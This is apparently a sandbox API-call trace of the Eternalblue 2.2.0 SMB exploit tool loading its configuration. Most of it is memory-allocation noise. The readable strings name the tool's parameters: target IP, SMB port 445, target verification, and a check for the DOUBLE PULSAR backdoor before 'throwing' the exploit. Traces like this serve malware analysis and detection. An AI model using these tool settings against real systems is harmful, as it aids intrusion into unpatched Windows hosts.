[0236.718] malloc (_Size=0xa) returned 0x38d6a8
[0236.719] malloc (_Size=0x60) returned 0x38fed8
[0236.719] malloc (_Size=0x4) returned 0x38ff40
[0236.719] malloc (_Size=0x6) returned 0x38ff50
[0236.720] malloc (_Size=0x2c) returned 0x38ff60
[0236.721] malloc (_Size=0x4) returned 0x38ff98
[0236.721] malloc (_Size=0x5) returned 0x38ffa8
[0236.721] free (_Block=0x38ff98)
[0236.721] free (_Block=0x38ffa8)
[0236.721] free (_Block=0x38ff60)
[0236.721] malloc (_Size=0x28) returned 0x38ff60
[0236.721] malloc (_Size=0x14) returned 0x38ff90
[0236.721] malloc (_Size=0xdc) returned 0x272e68
[0236.721] malloc (_Size=0x2c) returned 0x38ffb0
[0236.722] malloc (_Size=0x3c) returned 0x272f50
[0236.722] malloc (_Size=0x7) returned 0x272f98
[0236.723] malloc (_Size=0x18) returned 0x272fa8
[0236.723] malloc (_Size=0x9) returned 0x38d6c0
[0236.723] malloc (_Size=0x30) returned 0x272fc8
[0236.723] malloc (_Size=0x5) returned 0x273000
[0236.723] malloc (_Size=0x3c) returned 0x273010
[0236.724] malloc (_Size=0xc) returned 0x38d6d8
[0236.724] malloc (_Size=0x30) returned 0x273058
[0236.724] malloc (_Size=0x8) returned 0x273090
[0236.724] malloc (_Size=0x3c) returned 0x2730a0
[0236.724] malloc (_Size=0x6) returned 0x2730e8
[0236.724] malloc (_Size=0x30) returned 0x2730f8
[0236.724] malloc (_Size=0xe) returned 0x38d6f0
[0236.725] malloc (_Size=0x3c) returned 0x273130
[0236.725] malloc (_Size=0x6) returned 0x273178
[0236.725] malloc (_Size=0x30) returned 0x273188
[0236.725] malloc (_Size=0xe) returned 0x38d708
[0236.725] malloc (_Size=0x3c) returned 0x2731c0
[0236.725] malloc (_Size=0x8) returned 0x273208
[0236.725] malloc (_Size=0x30) returned 0x273218
[0236.725] malloc (_Size=0x3) returned 0x273250
[0236.725] malloc (_Size=0x3c) returned 0x273260
[0236.725] malloc (_Size=0x29) returned 0x2732a8
[0236.726] malloc (_Size=0x3c) returned 0x2732e0
[0236.726] malloc (_Size=0x4) returned 0x273328
[0236.726] malloc (_Size=0x14) returned 0x273338
[0236.726] malloc (_Size=0x3c) returned 0x273358
[0236.726] malloc (_Size=0x10) returned 0x38d720
[0236.727] malloc (_Size=0x3c) returned 0x2733a0
[0236.727] malloc (_Size=0x6) returned 0x2733e8
[0236.727] malloc (_Size=0x14) returned 0x2733f8
[0236.727] malloc (_Size=0x3c) returned 0x273418
[0236.727] malloc (_Size=0xa) returned 0x38d738
[0236.727] malloc (_Size=0x30) returned 0x273460
[0236.727] malloc (_Size=0x7) returned 0x2734b0
[0236.727] malloc (_Size=0x3c) returned 0x273898
[0236.727] malloc (_Size=0x5) returned 0x2734c0
[0236.728] malloc (_Size=0x30) returned 0x2738e0
[0236.728] malloc (_Size=0x5) returned 0x2734d0
[0236.728] malloc (_Size=0x3c) returned 0x273918
[0236.728] malloc (_Size=0x8) returned 0x2734e0
[0236.728] malloc (_Size=0x30) returned 0x273960
[0236.728] malloc (_Size=0x5) returned 0x2734f0
[0236.728] malloc (_Size=0x3c) returned 0x273998
[0236.728] malloc (_Size=0xe) returned 0x38d750
[0236.728] malloc (_Size=0x30) returned 0x2739e0
[0236.728] malloc (_Size=0xc) returned 0x38d768
[0236.729] malloc (_Size=0x3c) returned 0x273a18
[0236.729] malloc (_Size=0x27) returned 0x273a60
[0236.729] malloc (_Size=0x3c) returned 0x273a90
[0236.729] malloc (_Size=0x8) returned 0x273500
[0236.729] malloc (_Size=0x3c) returned 0x273ad8
[0236.729] malloc (_Size=0x8) returned 0x273510
[0236.729] malloc (_Size=0x3c) returned 0x273b38
[0236.729] malloc (_Size=0x2) returned 0x273520
[0236.730] malloc (_Size=0x3c) returned 0x273b80
[0236.730] malloc (_Size=0x6) returned 0x273530
[0236.730] malloc (_Size=0x3c) returned 0x273bc8
[0236.730] malloc (_Size=0x6) returned 0x273540
[0236.730] malloc (_Size=0x3c) returned 0x273c10
[0236.730] malloc (_Size=0xa) returned 0x38d780
[0236.730] malloc (_Size=0x30) returned 0x274b20
[0236.730] malloc (_Size=0x5) returned 0x273550
[0236.730] malloc (_Size=0x3c) returned 0x273c58
[0236.730] malloc (_Size=0x4) returned 0x273560
[0236.731] malloc (_Size=0x30) returned 0x274b58
[0236.731] malloc (_Size=0x5) returned 0x273570
[0236.731] malloc (_Size=0x3c) returned 0x273ca0
[0236.731] malloc (_Size=0xf) returned 0x38d798
[0236.731] malloc (_Size=0x30) returned 0x274b90
[0236.731] malloc (_Size=0xc) returned 0x38d7b0
[0236.731] malloc (_Size=0x3c) returned 0x273ce8
[0236.731] malloc (_Size=0x48) returned 0x274bc8
[0236.731] malloc (_Size=0x3c) returned 0x273d30
[0236.731] malloc (_Size=0x8) returned 0x273580
[0236.731] malloc (_Size=0x3c) returned 0x273d78
[0236.732] malloc (_Size=0x8) returned 0x273590
[0236.732] malloc (_Size=0x3c) returned 0x273dc0
[0236.732] malloc (_Size=0x3) returned 0x2735a0
[0236.732] malloc (_Size=0x3c) returned 0x273e08
[0236.732] malloc (_Size=0x6) returned 0x2735b0
[0236.732] malloc (_Size=0x3c) returned 0x273e50
[0236.732] malloc (_Size=0x6) returned 0x2735c0
[0236.732] malloc (_Size=0x3c) returned 0x273e98
[0236.732] malloc (_Size=0xa) returned 0x38d7c8
[0236.732] malloc (_Size=0x30) returned 0x274c18
[0236.733] malloc (_Size=0x8) returned 0x2735d0
[0236.733] malloc (_Size=0x3c) returned 0x273ee0
[0236.733] malloc (_Size=0x15) returned 0x274c50
[0236.733] malloc (_Size=0x30) returned 0x274c70
[0236.733] malloc (_Size=0x5) returned 0x2735e0
[0236.733] malloc (_Size=0x3c) returned 0x273f28
[0236.733] malloc (_Size=0x5) returned 0x2735f0
[0236.733] malloc (_Size=0x30) returned 0x274ca8
[0236.733] malloc (_Size=0x5) returned 0x273600
[0236.733] malloc (_Size=0x3c) returned 0x273f70
[0236.733] malloc (_Size=0x9) returned 0x38d7e0
[0236.733] malloc (_Size=0x30) returned 0x274cf8
[0236.734] malloc (_Size=0xc) returned 0x38d7f8
[0236.734] malloc (_Size=0x3c) returned 0x273fb8
[0236.734] malloc (_Size=0x12) returned 0x2754e0
[0236.734] malloc (_Size=0x3c) returned 0x274000
[0236.734] malloc (_Size=0x6) returned 0x273610
[0236.734] malloc (_Size=0x3c) returned 0x274048
[0236.734] malloc (_Size=0xa) returned 0x38d810
[0236.735] malloc (_Size=0x30) returned 0x274d30
[0236.735] malloc (_Size=0x8) returned 0x273620
[0236.735] malloc (_Size=0x3c) returned 0x274090
[0236.735] malloc (_Size=0xc) returned 0x38d828
[0236.735] malloc (_Size=0x30) returned 0x274d68
[0236.735] malloc (_Size=0x5) returned 0x273630
[0236.735] malloc (_Size=0x3c) returned 0x2740d8
[0236.735] malloc (_Size=0x8) returned 0x273640
[0236.735] malloc (_Size=0x30) returned 0x274da0
[0236.735] malloc (_Size=0x5) returned 0x273650
[0236.735] malloc (_Size=0x3c) returned 0x274120
[0236.735] malloc (_Size=0xb) returned 0x38d840
[0236.736] malloc (_Size=0x30) returned 0x274dd8
[0236.736] malloc (_Size=0xc) returned 0x38d858
[0236.736] malloc (_Size=0x3c) returned 0x274168
[0236.736] malloc (_Size=0x34) returned 0x275500
[0236.736] malloc (_Size=0x3c) returned 0x2741b0
[0236.736] malloc (_Size=0x8) returned 0x273660
[0236.736] malloc (_Size=0x3c) returned 0x2741f8
[0236.736] malloc (_Size=0x8) returned 0x273670
[0236.736] malloc (_Size=0x3c) returned 0x274240
[0236.736] malloc (_Size=0x4) returned 0x273680
[0236.736] malloc (_Size=0x3c) returned 0x274288
[0236.737] malloc (_Size=0x6) returned 0x273690
[0236.737] malloc (_Size=0x3c) returned 0x2742d0
[0236.737] malloc (_Size=0x6) returned 0x2736a0
[0236.737] malloc (_Size=0x3c) returned 0x274318
[0236.737] malloc (_Size=0xa) returned 0x38d870
[0236.737] malloc (_Size=0x30) returned 0x274e10
[0236.737] malloc (_Size=0x8) returned 0x2736b0
[0236.737] malloc (_Size=0x3c) returned 0x274360
[0236.737] malloc (_Size=0x1c) returned 0x275540
[0236.737] malloc (_Size=0x30) returned 0x274e48
[0236.737] malloc (_Size=0x5) returned 0x2736c0
[0236.737] malloc (_Size=0x3c) returned 0x2743a8
[0236.738] malloc (_Size=0x8) returned 0x2736d0
[0236.738] malloc (_Size=0x30) returned 0x274e80
[0236.738] malloc (_Size=0x5) returned 0x2736e0
[0236.738] malloc (_Size=0x3c) returned 0x2743f0
[0236.738] malloc (_Size=0xd) returned 0x38d888
[0236.738] malloc (_Size=0x30) returned 0x274eb8
[0236.785] malloc (_Size=0xc) returned 0x38d8a0
[0236.785] malloc (_Size=0x3c) returned 0x274438
[0236.785] malloc (_Size=0x55) returned 0x275568
[0236.785] malloc (_Size=0x3c) returned 0x274480
[0236.786] malloc (_Size=0x8) returned 0x2736f0
[0236.786] malloc (_Size=0x3c) returned 0x2744c8
[0236.786] malloc (_Size=0x8) returned 0x273700
[0236.786] malloc (_Size=0x3c) returned 0x274510
[0236.786] malloc (_Size=0x5) returned 0x273710
[0236.786] malloc (_Size=0x3c) returned 0x274558
[0236.786] malloc (_Size=0x6) returned 0x273720
[0236.786] malloc (_Size=0x3c) returned 0x2745a0
[0236.786] malloc (_Size=0x6) returned 0x273730
[0236.786] malloc (_Size=0x3c) returned 0x2745e8
[0236.786] malloc (_Size=0xa) returned 0x38d8b8
[0236.786] malloc (_Size=0x30) returned 0x274ef0
[0236.786] malloc (_Size=0x8) returned 0x273740
[0236.786] malloc (_Size=0x3c) returned 0x274630
[0236.787] malloc (_Size=0x1e) returned 0x2755c8
[0236.787] malloc (_Size=0x30) returned 0x274f28
[0236.787] malloc (_Size=0x5) returned 0x273750
[0236.787] malloc (_Size=0x3c) returned 0x274678
[0236.787] malloc (_Size=0x8) returned 0x273760
[0236.787] malloc (_Size=0x30) returned 0x274f60
[0236.787] malloc (_Size=0x5) returned 0x273770
[0236.787] malloc (_Size=0x3c) returned 0x2746c0
[0236.787] malloc (_Size=0xf) returned 0x38d8d0
[0236.787] malloc (_Size=0x30) returned 0x274f98
[0236.787] malloc (_Size=0xc) returned 0x38d8e8
[0236.787] malloc (_Size=0x3c) returned 0x274708
[0236.787] malloc (_Size=0x80) returned 0x2755f0
[0236.787] malloc (_Size=0x3c) returned 0x274750
[0236.788] malloc (_Size=0x8) returned 0x273780
[0236.788] malloc (_Size=0x3c) returned 0x274798
[0236.788] malloc (_Size=0x8) returned 0x273790
[0236.788] malloc (_Size=0x3c) returned 0x2747e0
[0236.788] malloc (_Size=0x5) returned 0x2737a0
[0236.788] malloc (_Size=0x3c) returned 0x274828
[0236.788] malloc (_Size=0x6) returned 0x2737b0
[0236.788] malloc (_Size=0x3c) returned 0x274870
[0236.788] malloc (_Size=0x6) returned 0x2737c0
[0236.788] malloc (_Size=0x3c) returned 0x2748b8
[0236.788] malloc (_Size=0xa) returned 0x38d900
[0236.788] malloc (_Size=0x30) returned 0x274fd0
[0236.788] malloc (_Size=0x8) returned 0x2737d0
[0236.789] malloc (_Size=0x3c) returned 0x274900
[0236.789] malloc (_Size=0x21) returned 0x275678
[0236.789] malloc (_Size=0x30) returned 0x275008
[0236.789] malloc (_Size=0x5) returned 0x2737e0
[0236.789] malloc (_Size=0x3c) returned 0x274948
[0236.789] malloc (_Size=0x4) returned 0x2737f0
[0236.789] malloc (_Size=0x30) returned 0x275040
[0236.789] malloc (_Size=0x5) returned 0x273800
[0236.789] malloc (_Size=0x3c) returned 0x274990
[0236.789] malloc (_Size=0x13) returned 0x2756a8
[0236.789] malloc (_Size=0x30) returned 0x275078
[0236.789] malloc (_Size=0xc) returned 0x38d918
[0236.789] malloc (_Size=0x3c) returned 0x2749d8
[0236.790] malloc (_Size=0x47) returned 0x2756c8
[0236.790] malloc (_Size=0x3c) returned 0x274a20
[0236.790] malloc (_Size=0x8) returned 0x273810
[0236.790] malloc (_Size=0x3c) returned 0x274a68
[0236.790] malloc (_Size=0x8) returned 0x273820
[0236.790] malloc (_Size=0x3c) returned 0x274ab0
[0236.790] malloc (_Size=0x2) returned 0x273830
[0236.790] malloc (_Size=0x3c) returned 0x275730
[0236.790] malloc (_Size=0x6) returned 0x273840
[0236.790] malloc (_Size=0x3c) returned 0x275778
[0236.790] malloc (_Size=0x6) returned 0x273850
[0236.790] malloc (_Size=0x3c) returned 0x2757c0
[0236.791] malloc (_Size=0xa) returned 0x38d930
[0236.791] malloc (_Size=0x30) returned 0x2750b0
[0236.791] malloc (_Size=0x8) returned 0x273860
[0236.791] malloc (_Size=0x3c) returned 0x275808
[0236.791] malloc (_Size=0x25) returned 0x276718
[0236.791] malloc (_Size=0x30) returned 0x2750e8
[0236.793] strlen (_Str="0f38f55b6a88feccfb846d3d10ab4687e652e63e") returned 0x28
[0236.793] calloc (_Count=0x29, _Size=0x1) returned 0x270098
[0236.793] _mbscpy (in: param_1=0x270098, param_2=0x270060 | out: param_1=0x270098) returned 0x270098
[0236.793] strlen (_Str="2.2.0.0") returned 0x7
[0236.793] calloc (_Count=0x8, _Size=0x1) returned 0x281458
[0236.793] _mbscpy (in: param_1=0x281458, param_2=0x281438 | out: param_1=0x281458) returned 0x281458
[0236.793] strlen (_Str="Eternalblue") returned 0xb
[0236.793] calloc (_Count=0xc, _Size=0x1) returned 0x38d690
[0236.793] _mbscpy (in: param_1=0x38d690, param_2=0x38d6a8 | out: param_1=0x38d690) returned 0x38d690
[0236.793] strlen (_Str="2.2.0") returned 0x5
[0236.793] calloc (_Count=0x6, _Size=0x1) returned 0x281468
[0236.794] _mbscpy (in: param_1=0x281468, param_2=0x281428 | out: param_1=0x281468) returned 0x281468
[0236.794] strlen (_Str="urn:trch") returned 0x8
[0236.794] calloc (_Count=0x9, _Size=0x1) returned 0x282708
[0236.794] _mbscpy (in: param_1=0x282708, param_2=0x38d6c0 | out: param_1=0x282708) returned 0x282708
[0236.794] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.794] strlen (_Str="2.1.0") returned 0x5
[0236.794] calloc (_Count=0x6, _Size=0x1) returned 0x281478
[0236.794] _mbscpy (in: param_1=0x281478, param_2=0x281448 | out: param_1=0x281478) returned 0x281478
[0236.794] free (_Block=0x270060)
[0236.794] free (_Block=0x38d6a8)
[0236.794] free (_Block=0x281428)
[0236.794] free (_Block=0x281438)
[0236.794] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.794] calloc (_Count=0x1, _Size=0x1c) returned 0x38ff90
[0236.794] strlen (_Str="inputparameters") returned 0xf
[0236.794] calloc (_Count=0x10, _Size=0x1) returned 0x38d6a8
[0236.794] _mbscpy (in: param_1=0x38d6a8, param_2=0x38d720 | out: param_1=0x38d6a8) returned 0x38d6a8
[0236.794] strlen (_Str="urn:trch") returned 0x8
[0236.794] calloc (_Count=0x9, _Size=0x1) returned 0x282720
[0236.794] _mbscpy (in: param_1=0x282720, param_2=0x38d6c0 | out: param_1=0x282720) returned 0x282720
[0236.794] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.794] strlen (_Str="2.1.0") returned 0x5
[0236.794] calloc (_Count=0x6, _Size=0x1) returned 0x281438
[0236.795] _mbscpy (in: param_1=0x281438, param_2=0x281448 | out: param_1=0x281438) returned 0x281438
[0236.795] calloc (_Count=0x1, _Size=0x4) returned 0x281428
[0236.795] calloc (_Count=0x1, _Size=0x4) returned 0x281488
[0236.795] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0236.795] malloc (_Size=0xe) returned 0x282738
[0236.795] malloc (_Size=0x27) returned 0x38ffb8
[0236.795] malloc (_Size=0x8) returned 0x281498
[0236.795] malloc (_Size=0x14) returned 0x276da0
[0236.795] GetCurrentThreadId () returned 0xfa8
[0236.795] malloc (_Size=0x42) returned 0x382c48
[0236.795] free (_Block=0x276da0)
[0236.795] calloc (_Count=0x1, _Size=0x48) returned 0x382c98
[0236.795] strlen (_Str="DaveProxyPort") returned 0xd
[0236.795] calloc (_Count=0xe, _Size=0x1) returned 0x282750
[0236.795] _mbscpy (in: param_1=0x282750, param_2=0x282738 | out: param_1=0x282750) returned 0x282750
[0236.795] strlen (_Str="DAVE Core/Proxy Hookup connection port") returned 0x26
[0236.795] calloc (_Count=0x27, _Size=0x1) returned 0x382ce8
[0236.796] _mbscpy (in: param_1=0x382ce8, param_2=0x38ffb8 | out: param_1=0x382ce8) returned 0x382ce8
[0236.796] strlen (_Str="TcpPort") returned 0x7
[0236.796] calloc (_Count=0x8, _Size=0x1) returned 0x2814a8
[0236.796] _mbscpy (in: param_1=0x2814a8, param_2=0x281498 | out: param_1=0x2814a8) returned 0x2814a8
[0236.796] strlen (_Str="Scalar") returned 0x6
[0236.796] calloc (_Count=0x7, _Size=0x1) returned 0x2814b8
[0236.796] _mbscpy (in: param_1=0x2814b8, param_2=0x7564c3f8 | out: param_1=0x2814b8) returned 0x2814b8
[0236.796] strlen (_Str="urn:trch") returned 0x8
[0236.796] calloc (_Count=0x9, _Size=0x1) returned 0x282768
[0236.796] _mbscpy (in: param_1=0x282768, param_2=0x38d6c0 | out: param_1=0x282768) returned 0x282768
[0236.796] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.796] strlen (_Str="2.1.0") returned 0x5
[0236.796] calloc (_Count=0x6, _Size=0x1) returned 0x2814c8
[0236.796] _mbscpy (in: param_1=0x2814c8, param_2=0x281448 | out: param_1=0x2814c8) returned 0x2814c8
[0236.800] strlen (_Str="0") returned 0x1
[0236.800] calloc (_Count=0x2, _Size=0x1) returned 0x2814d8
[0236.800] _mbscpy (in: param_1=0x2814d8, param_2=0x382c48 | out: param_1=0x2814d8) returned 0x2814d8
[0236.800] malloc (_Size=0x5) returned 0x2814e8
[0236.800] free (_Block=0x282738)
[0236.800] free (_Block=0x38ffb8)
[0236.800] free (_Block=0x281498)
[0236.801] free (_Block=0x0)
[0236.801] free (_Block=0x382c48)
[0236.801] free (_Block=0x0)
[0236.801] free (_Block=0x2814e8)
[0236.801] free (_Block=0x0)
[0236.801] free (_Block=0x0)
[0236.801] realloc (_Block=0x281428, _Size=0x8) returned 0x2814e8
[0236.801] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0236.801] malloc (_Size=0xf) returned 0x282738
[0236.801] malloc (_Size=0x48) returned 0x382c48
[0236.801] malloc (_Size=0x4) returned 0x281428
[0236.801] malloc (_Size=0x14) returned 0x276da0
[0236.801] GetCurrentThreadId () returned 0xfa8
[0236.801] malloc (_Size=0x42) returned 0x382d18
[0236.801] free (_Block=0x276da0)
[0236.801] calloc (_Count=0x1, _Size=0x48) returned 0x382d68
[0236.801] strlen (_Str="NetworkTimeout") returned 0xe
[0236.801] calloc (_Count=0xf, _Size=0x1) returned 0x282798
[0236.801] _mbscpy (in: param_1=0x282798, param_2=0x282738 | out: param_1=0x282798) returned 0x282798
[0236.801] strlen (_Str="Timeout for blocking network calls (in seconds). Use -1 for no timeout.") returned 0x47
[0236.802] calloc (_Count=0x48, _Size=0x1) returned 0x38fc68
[0236.802] _mbscpy (in: param_1=0x38fc68, param_2=0x382c48 | out: param_1=0x38fc68) returned 0x38fc68
[0236.802] strlen (_Str="S16") returned 0x3
[0236.802] calloc (_Count=0x4, _Size=0x1) returned 0x281498
[0236.802] _mbscpy (in: param_1=0x281498, param_2=0x281428 | out: param_1=0x281498) returned 0x281498
[0236.802] strlen (_Str="Scalar") returned 0x6
[0236.802] calloc (_Count=0x7, _Size=0x1) returned 0x2814f8
[0236.802] _mbscpy (in: param_1=0x2814f8, param_2=0x7564c3f8 | out: param_1=0x2814f8) returned 0x2814f8
[0236.802] strlen (_Str="urn:trch") returned 0x8
[0236.802] calloc (_Count=0x9, _Size=0x1) returned 0x2827b0
[0236.802] _mbscpy (in: param_1=0x2827b0, param_2=0x38d6c0 | out: param_1=0x2827b0) returned 0x2827b0
[0236.802] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.802] strlen (_Str="2.1.0") returned 0x5
[0236.802] calloc (_Count=0x6, _Size=0x1) returned 0x281508
[0236.802] _mbscpy (in: param_1=0x281508, param_2=0x281448 | out: param_1=0x281508) returned 0x281508
[0236.802] strlen (_Str="60") returned 0x2
[0236.802] calloc (_Count=0x3, _Size=0x1) returned 0x281518
[0236.802] _mbscpy (in: param_1=0x281518, param_2=0x382d18 | out: param_1=0x281518) returned 0x281518
[0236.802] strtol (in: _Str="60", _EndPtr=0x140f8c4, _Radix=0 | out: _EndPtr=0x140f8c4*="") returned 60
[0236.802] free (_Block=0x282738)
[0236.802] free (_Block=0x382c48)
[0236.803] free (_Block=0x281428)
[0236.803] free (_Block=0x0)
[0236.803] free (_Block=0x382d18)
[0236.803] free (_Block=0x0)
[0236.803] free (_Block=0x0)
[0236.803] free (_Block=0x0)
[0236.803] free (_Block=0x0)
[0236.803] realloc (_Block=0x2814e8, _Size=0xc) returned 0x282738
[0236.803] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0236.803] malloc (_Size=0x9) returned 0x2827e0
[0236.803] malloc (_Size=0x12) returned 0x276da0
[0236.803] malloc (_Size=0x5) returned 0x2814e8
[0236.803] calloc (_Count=0x1, _Size=0x48) returned 0x382d18
[0236.803] strlen (_Str="TargetIp") returned 0x8
[0236.803] calloc (_Count=0x9, _Size=0x1) returned 0x2827f8
[0236.803] _mbscpy (in: param_1=0x2827f8, param_2=0x2827e0 | out: param_1=0x2827f8) returned 0x2827f8
[0236.803] strlen (_Str="Target IP Address") returned 0x11
[0236.803] calloc (_Count=0x12, _Size=0x1) returned 0x276d40
[0236.803] _mbscpy (in: param_1=0x276d40, param_2=0x276da0 | out: param_1=0x276d40) returned 0x276d40
[0236.803] strlen (_Str="IPv4") returned 0x4
[0236.804] calloc (_Count=0x5, _Size=0x1) returned 0x281428
[0236.804] _mbscpy (in: param_1=0x281428, param_2=0x2814e8 | out: param_1=0x281428) returned 0x281428
[0236.804] strlen (_Str="Scalar") returned 0x6
[0236.804] calloc (_Count=0x7, _Size=0x1) returned 0x281528
[0236.804] _mbscpy (in: param_1=0x281528, param_2=0x7564c3f8 | out: param_1=0x281528) returned 0x281528
[0236.804] strlen (_Str="urn:trch") returned 0x8
[0236.804] calloc (_Count=0x9, _Size=0x1) returned 0x282810
[0236.804] _mbscpy (in: param_1=0x282810, param_2=0x38d6c0 | out: param_1=0x282810) returned 0x282810
[0236.804] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.804] strlen (_Str="2.1.0") returned 0x5
[0236.804] calloc (_Count=0x6, _Size=0x1) returned 0x281538
[0236.804] _mbscpy (in: param_1=0x281538, param_2=0x281448 | out: param_1=0x281538) returned 0x281538
[0236.804] realloc (_Block=0x282738, _Size=0x10) returned 0x2827e0
[0236.804] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0236.804] malloc (_Size=0xb) returned 0x282738
[0236.804] malloc (_Size=0x34) returned 0x382c48
[0236.804] malloc (_Size=0x8) returned 0x2814e8
[0236.804] malloc (_Size=0x14) returned 0x276da0
[0236.804] GetCurrentThreadId () returned 0xfa8
[0236.804] malloc (_Size=0x42) returned 0x38fcb8
[0236.805] free (_Block=0x276da0)
[0236.805] calloc (_Count=0x1, _Size=0x48) returned 0x38fd08
[0236.805] strlen (_Str="TargetPort") returned 0xa
[0236.805] calloc (_Count=0xb, _Size=0x1) returned 0x282840
[0236.805] _mbscpy (in: param_1=0x282840, param_2=0x282738 | out: param_1=0x282840) returned 0x282840
[0236.805] strlen (_Str="Port used by the SMB service for exploit connection") returned 0x33
[0236.805] calloc (_Count=0x34, _Size=0x1) returned 0x38fd58
[0236.805] _mbscpy (in: param_1=0x38fd58, param_2=0x382c48 | out: param_1=0x38fd58) returned 0x38fd58
[0236.805] strlen (_Str="TcpPort") returned 0x7
[0236.805] calloc (_Count=0x8, _Size=0x1) returned 0x281548
[0236.805] _mbscpy (in: param_1=0x281548, param_2=0x2814e8 | out: param_1=0x281548) returned 0x281548
[0236.805] strlen (_Str="Scalar") returned 0x6
[0236.805] calloc (_Count=0x7, _Size=0x1) returned 0x281558
[0236.805] _mbscpy (in: param_1=0x281558, param_2=0x7564c3f8 | out: param_1=0x281558) returned 0x281558
[0236.805] strlen (_Str="urn:trch") returned 0x8
[0236.805] calloc (_Count=0x9, _Size=0x1) returned 0x282858
[0236.805] _mbscpy (in: param_1=0x282858, param_2=0x38d6c0 | out: param_1=0x282858) returned 0x282858
[0236.805] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.805] strlen (_Str="2.1.0") returned 0x5
[0236.805] calloc (_Count=0x6, _Size=0x1) returned 0x282988
[0236.805] _mbscpy (in: param_1=0x282988, param_2=0x281448 | out: param_1=0x282988) returned 0x282988
[0236.806] strlen (_Str="445") returned 0x3
[0236.806] calloc (_Count=0x4, _Size=0x1) returned 0x282998
[0236.806] _mbscpy (in: param_1=0x282998, param_2=0x38fcb8 | out: param_1=0x282998) returned 0x282998
[0236.806] free (_Block=0x282738)
[0236.806] free (_Block=0x382c48)
[0236.806] free (_Block=0x2814e8)
[0236.806] free (_Block=0x0)
[0236.806] free (_Block=0x38fcb8)
[0236.806] free (_Block=0x0)
[0236.806] free (_Block=0x0)
[0236.806] free (_Block=0x0)
[0236.806] free (_Block=0x0)
[0236.806] realloc (_Block=0x2827e0, _Size=0x14) returned 0x276da0
[0236.806] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0236.806] malloc (_Size=0xd) returned 0x2827e0
[0236.806] malloc (_Size=0x55) returned 0x38fd98
[0236.807] malloc (_Size=0x8) returned 0x2814e8
[0236.807] malloc (_Size=0x14) returned 0x276d80
[0236.807] GetCurrentThreadId () returned 0xfa8
[0236.807] malloc (_Size=0x42) returned 0x38fcb8
[0236.807] free (_Block=0x276d80)
[0236.807] calloc (_Count=0x1, _Size=0x48) returned 0x382c48
[0236.807] strlen (_Str="VerifyTarget") returned 0xc
[0236.807] calloc (_Count=0xd, _Size=0x1) returned 0x282738
[0236.807] _mbscpy (in: param_1=0x282738, param_2=0x2827e0 | out: param_1=0x282738) returned 0x282738
[0236.807] strlen (_Str="Validate the SMB string from target against the target selected before exploitation.") returned 0x54
[0236.807] calloc (_Count=0x55, _Size=0x1) returned 0x38fdf8
[0236.807] _mbscpy (in: param_1=0x38fdf8, param_2=0x38fd98 | out: param_1=0x38fdf8) returned 0x38fdf8
[0236.807] strlen (_Str="Boolean") returned 0x7
[0236.807] calloc (_Count=0x8, _Size=0x1) returned 0x2829a8
[0236.807] _mbscpy (in: param_1=0x2829a8, param_2=0x2814e8 | out: param_1=0x2829a8) returned 0x2829a8
[0236.807] strlen (_Str="Scalar") returned 0x6
[0236.807] calloc (_Count=0x7, _Size=0x1) returned 0x2829b8
[0236.807] _mbscpy (in: param_1=0x2829b8, param_2=0x7564c3f8 | out: param_1=0x2829b8) returned 0x2829b8
[0236.807] strlen (_Str="urn:trch") returned 0x8
[0236.807] calloc (_Count=0x9, _Size=0x1) returned 0x282888
[0236.807] _mbscpy (in: param_1=0x282888, param_2=0x38d6c0 | out: param_1=0x282888) returned 0x282888
[0236.807] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.807] strlen (_Str="2.1.0") returned 0x5
[0236.808] calloc (_Count=0x6, _Size=0x1) returned 0x2829c8
[0236.808] _mbscpy (in: param_1=0x2829c8, param_2=0x281448 | out: param_1=0x2829c8) returned 0x2829c8
[0236.808] strlen (_Str="true") returned 0x4
[0236.808] calloc (_Count=0x5, _Size=0x1) returned 0x2829d8
[0236.808] _mbscpy (in: param_1=0x2829d8, param_2=0x38fcb8 | out: param_1=0x2829d8) returned 0x2829d8
[0236.808] strcmp (_Str1="true", _Str2="0") returned 1
[0236.808] strcmp (_Str1="true", _Str2="1") returned 1
[0236.808] realloc (_Block=0x276da0, _Size=0x18) returned 0x276d80
[0236.808] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0236.808] malloc (_Size=0xf) returned 0x2827e0
[0236.808] malloc (_Size=0x80) returned 0x282d70
[0236.808] malloc (_Size=0x8) returned 0x2814e8
[0236.809] malloc (_Size=0x14) returned 0x276da0
[0236.809] GetCurrentThreadId () returned 0xfa8
[0236.809] malloc (_Size=0x42) returned 0x38fcb8
[0236.809] free (_Block=0x276da0)
[0236.809] calloc (_Count=0x1, _Size=0x48) returned 0x38fd98
[0236.809] strlen (_Str="VerifyBackdoor") returned 0xe
[0236.809] calloc (_Count=0xf, _Size=0x1) returned 0x2828b8
[0236.809] _mbscpy (in: param_1=0x2828b8, param_2=0x2827e0 | out: param_1=0x2828b8) returned 0x2828b8
[0236.809] strlen (_Str="Validate the presence of the DOUBLE PULSAR backdoor before throwing. This option must be enabled for multiple exploit attempts.") returned 0x7f
[0236.809] calloc (_Count=0x80, _Size=0x1) returned 0x282df8
[0236.809] _mbscpy (in: param_1=0x282df8, param_2=0x282d70 | out: param_1=0x282df8) returned 0x282df8
[0236.809] strlen (_Str="Boolean") returned 0x7
[0236.809] calloc (_Count=0x8, _Size=0x1) returned 0x2829e8
[0236.809] _mbscpy (in: param_1=0x2829e8, param_2=0x2814e8 | out: param_1=0x2829e8) returned 0x2829e8
[0236.809] strlen (_Str="Scalar") returned 0x6
[0236.809] calloc (_Count=0x7, _Size=0x1) returned 0x2829f8
[0236.809] _mbscpy (in: param_1=0x2829f8, param_2=0x7564c3f8 | out: param_1=0x2829f8) returned 0x2829f8
[0236.809] strlen (_Str="urn:trch") returned 0x8
[0236.809] calloc (_Count=0x9, _Size=0x1) returned 0x2828d0
